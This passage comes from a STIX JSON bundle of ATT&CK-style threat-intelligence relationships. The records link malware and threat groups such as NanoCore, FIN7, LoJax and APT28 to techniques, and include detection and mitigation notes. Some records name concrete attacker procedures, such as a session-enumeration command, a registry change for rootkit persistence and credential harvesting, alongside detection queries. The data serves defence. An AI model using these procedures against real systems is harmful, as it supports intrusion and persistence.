Pastebin to receive C2 commands.(Citation: Accenture HyperStack October 2020)", "relationship_type": "uses", "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1efab13f-4fcd-411d-a19c-e6d982d5a4c3", "created": "2024-02-15T13:42:46.605Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-15T13:42:46.605Z", "description": "Monitor for suspicious uses of the docker or podman command, such as attempts to mount the root filesystem of the host. ", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--b0e54bf7-835e-4f44-bd8e-62f431b9b76a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1efc9685-b2ab-46fb-91a9-a305d6c1f335", "type": "relationship", "created": "2019-01-29T20:05:36.501Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DigiTrust NanoCore Jan 2017", "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/", "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018."}, {"source_name": "PaloAlto NanoCore Feb 2016", "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/", "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."}], "modified": "2019-04-17T20:47:23.969Z", "description": "[NanoCore](https://attack.mitre.org/software/S0336) can access the victim's webcam and capture data.(Citation: DigiTrust NanoCore Jan 2017)(Citation: PaloAlto NanoCore Feb 2016)", "relationship_type": "uses", "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1f026982-e045-4a63-b0ec-a075d81e1c32", "created": "2022-03-30T14:26:51.844Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:35:18.188Z", "description": "Monitor for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. \n\nA remote desktop logon, through\u00a0[Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001), may be typical of a system administrator or IT support, but only from select workstations. Monitoring remote desktop logons and comparing to known/approved originating systems can detect lateral movement of an adversary.\n\nMultiple users logged into a single machine at the same time, or even within the same hour, do not typically occur in networks we have observed.\nLogon events are Windows Event Code 4624 for Windows Vista and above, 518 for pre-Vista. Logoff events are 4634 for Windows Vista and above, 538 for pre-Vista. Logon types 2, 3, 9 and 10 are of interest. For more details see the Logon Types table on Microsoft\u2019s\u00a0Audit Logon Events\u00a0page.\n\nAnalytic 1 - Remote Desktop Logon\n\n<code>(source=\"*WinEventLog:Security\" EventCode=\"4624\") AuthenticationPackageName= \"Negotiate\" AND Severity= \"Information\" AND logon_type= \"10\"</code>\n", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", "target_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f066ba6-31e2-48d1-a7ac-27a20879287b", "type": "relationship", "created": "2021-03-08T14:20:25.713Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}], "modified": "2021-04-26T15:52:00.636Z", "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) has used <code>FileReadZipSend</code> to compress a file and send to C2.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)", "relationship_type": "uses", "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f06f614-8f5a-4666-9fa5-fcda1535f97d", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", "source_name": "ESET InvisiMole June 2018"}, {"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}], "modified": "2020-07-17T20:31:44.965Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has deleted files and directories including XML and files successfully uploaded to C2 servers.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1f07783f-cc60-4464-a0b2-154308d799c2", "created": "2022-09-29T20:35:13.064Z", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-29T20:35:13.064Z", "description": "(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f", "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f0832ca-30f2-4f5a-8e92-1d15222fc087", "type": "relationship", "created": "2019-01-29T21:27:25.335Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT38 Oct 2018", "url": "https://content.fireeye.com/apt/rpt-apt38", "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."}], "modified": "2019-09-09T19:10:53.560Z", "description": "(Citation: FireEye APT38 Oct 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f1de0ea-581b-4b41-953f-1b8f552f84e7", "type": "relationship", "created": "2020-03-29T17:17:31.571Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-25T15:47:46.245Z", "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using using trusted binaries to bypass application control.", "relationship_type": "mitigates", "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f1fb0b2-4f02-4458-9b56-2c79ea7798f4", "type": "relationship", "created": "2022-03-30T14:26:51.838Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.838Z", "description": "Monitor log files for process execution through command-line and scripting activities. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1f238bb1-62c0-409b-ac79-38b38f54497d", "created": "2022-08-31T16:29:47.088Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HEXANE](https://attack.mitre.org/groups/G1001) has collected the hostname of a compromised machine.(Citation: Kaspersky Lyceum October 2021)", "modified": "2022-08-31T16:29:47.088Z", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f262330-4075-4fce-91b7-c3f0fd7a0739", "type": "relationship", "created": "2020-10-20T00:08:21.787Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-20T00:08:21.787Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd", "target_ref": "attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f48a517-c041-4845-9aba-2dce4f559b56", "type": "relationship", "created": "2019-04-10T16:09:07.880Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. 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Retrieved April 5, 2022.", "url": "https://www.mandiant.com/resources/evolution-of-fin7"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-04T18:10:49.056Z", "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used the command `cmd.exe /C quser` to collect user session information.(Citation: Mandiant FIN7 Apr 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1f552cc5-66fe-44a6-8881-8e127fc5c0f0", "created": "2022-09-21T21:04:18.788Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant UNC3890 Aug 2022", "description": "Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.", "url": "https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-04T21:11:50.995Z", "description": "[SUGARDUMP](https://attack.mitre.org/software/S1042) variants have harvested credentials from browsers such as Firefox, Chrome, Opera, and Edge.(Citation: Mandiant UNC3890 Aug 2022)", "relationship_type": "uses", "source_ref": "malware--9c10cede-c0bb-4c5c-91c0-8baec30abaf6", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f5655b0-7b7f-453c-9c2c-47a23fcc6222", "type": "relationship", "created": "2021-03-17T15:54:31.045Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Debian nbtscan Nov 2019", "url": "https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html", "description": "Bezroutchko, A. (2019, November 19). NBTscan man page. Retrieved March 17, 2021."}, {"source_name": "SecTools nbtscan June 2003", "url": "https://sectools.org/tool/nbtscan/", "description": "SecTools. (2003, June 11). NBTscan. Retrieved March 17, 2021."}], "modified": "2021-03-17T15:54:31.045Z", "description": "[NBTscan](https://attack.mitre.org/software/S0590) can be used to collect MAC addresses.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)\t", "relationship_type": "uses", "source_ref": "tool--b63970b7-ddfb-4aee-97b1-80d335e033a8", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f5aee41-e3bc-4ed0-a0e2-fa8f7cd6de26", "type": "relationship", "created": "2019-05-02T01:07:36.908Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cylance Shaheen Nov 2018", "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517", "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019."}], "modified": "2019-06-12T20:05:18.216Z", "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) has the ability to upload and download files.(Citation: Cylance Shaheen Nov 2018)", "relationship_type": "uses", "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f5c6a39-aa0b-469e-aabe-67e4d237b213", "type": "relationship", "created": "2019-07-02T12:58:09.722Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET LoJax Sept 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf", "description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019."}], "modified": "2019-12-20T13:43:45.285Z", "description": "[LoJax](https://attack.mitre.org/software/S0397) has modified the Registry key <code>\u2018HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\BootExecute\u2019</code> from <code>\u2018autocheck autochk *\u2019</code> to <code>\u2018autocheck autoche *\u2019</code>.(Citation: ESET LoJax Sept 2018)", "relationship_type": "uses", "source_ref": "malware--b865dded-0553-4962-a44b-6fe7863effed", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1f5efc33-a643-4f9b-aae9-6c59208ff790", "created": "2022-08-07T15:33:54.621Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes SideCopy Dec 2021", "url": "https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure", "description": "Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[AuTo Stealer](https://attack.mitre.org/software/S1029) has the ability to collect the username from an infected host.(Citation: MalwareBytes SideCopy Dec 2021)", "modified": "2022-08-15T20:28:15.278Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--3e4e2c79-2b27-4245-a5c1-5586a3cbd8f5", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1f66707a-6cd7-4af1-a388-b0ff022af7db", "created": "2022-03-30T14:26:51.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Powersploit", "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", "url": "https://github.com/mattifestation/PowerSploit"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-23T20:54:55.626Z", "description": "Monitor executed commands and arguments that may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Look for command-lines that invoke AuditD or the Security Accounts Manager (SAM). Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nNote: Event ID 4104 (from the Microsoft-Windows-Powershell/Operational log) captures Powershell script blocks, which can be analyzed and used to detect on abuse of CMSTP. ", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f67c603-a567-42d1-b1ee-48fe9564c9bc", "type": "relationship", "created": "2021-08-23T19:38:33.503Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Arxiv Avaddon Feb 2021", "url": "https://arxiv.org/pdf/2102.04796.pdf", "description": "Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}], "modified": "2021-10-07T15:06:50.706Z", "description": "[Avaddon](https://attack.mitre.org/software/S0640) has decrypted encrypted strings.(Citation: Arxiv Avaddon Feb 2021)", "relationship_type": "uses", "source_ref": "malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1f6a3d3b-11da-4c68-9f46-732ad54f4869", "created": "2022-03-30T14:26:51.852Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for executed processes (such as tracert or ping) that may check for Internet connectivity on compromised systems.", "modified": "2022-04-12T12:46:43.455Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1f6da45b-bf15-47d7-ab80-5c110b0f4d62", "created": "2023-03-17T14:50:22.910Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "McAfee Lazarus Jul 2020", "description": "Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"}, {"source_name": "ClearSky Lazarus Aug 2020", "description": "ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. 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(2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}], "modified": "2021-07-26T17:53:02.201Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has used a modified and obfuscated version of the reGeorg web shell to maintain persistence on a target's Outlook Web Access (OWA) server.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f728f8c-8aee-4d40-9161-1cae773983d1", "type": "relationship", "created": "2020-07-20T13:25:54.607Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", "source_name": "ESET InvisiMole June 2018"}, {"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}], "modified": "2020-10-21T17:38:02.728Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has been configured with several servers available for alternate C2 communications.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f740889-9bfb-4911-91ff-0d8267a7eeb0", "type": "relationship", "created": "2022-03-30T14:26:51.861Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.861Z", "description": "Monitor for newly executed processes  for process executable paths that are named for partial directories.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1f75578e-22d5-4f91-9de5-3309ffe107d5", "created": "2021-10-01T01:57:31.782Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Talos Intelligence Group", "description": "Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.", "url": "https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}, {"source_name": "Trend Micro TeamTNT", "description": "Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.", "url": "https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-12-01T17:31:07.701Z", "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) has established persistence through the creation of a cryptocurrency mining system service using <code>systemctl</code>.(Citation: Trend Micro TeamTNT)(Citation: Cisco Talos Intelligence Group)", "relationship_type": "uses", "source_ref": "intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca", "target_ref": "attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f764874-0e08-4799-9487-a9e12c499c13", "type": "relationship", "created": "2017-05-31T21:33:27.071Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf", "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", "source_name": "FireEye FIN6 April 2016"}, {"description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. 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Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required.", "modified": "2022-04-11T19:05:00.706Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1f7b17e9-9ad3-42dd-ab92-e3afe752247b", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", "description": "Carr, N., et al. (2017, April 24). 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Retrieved June 18, 2019.", "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/", 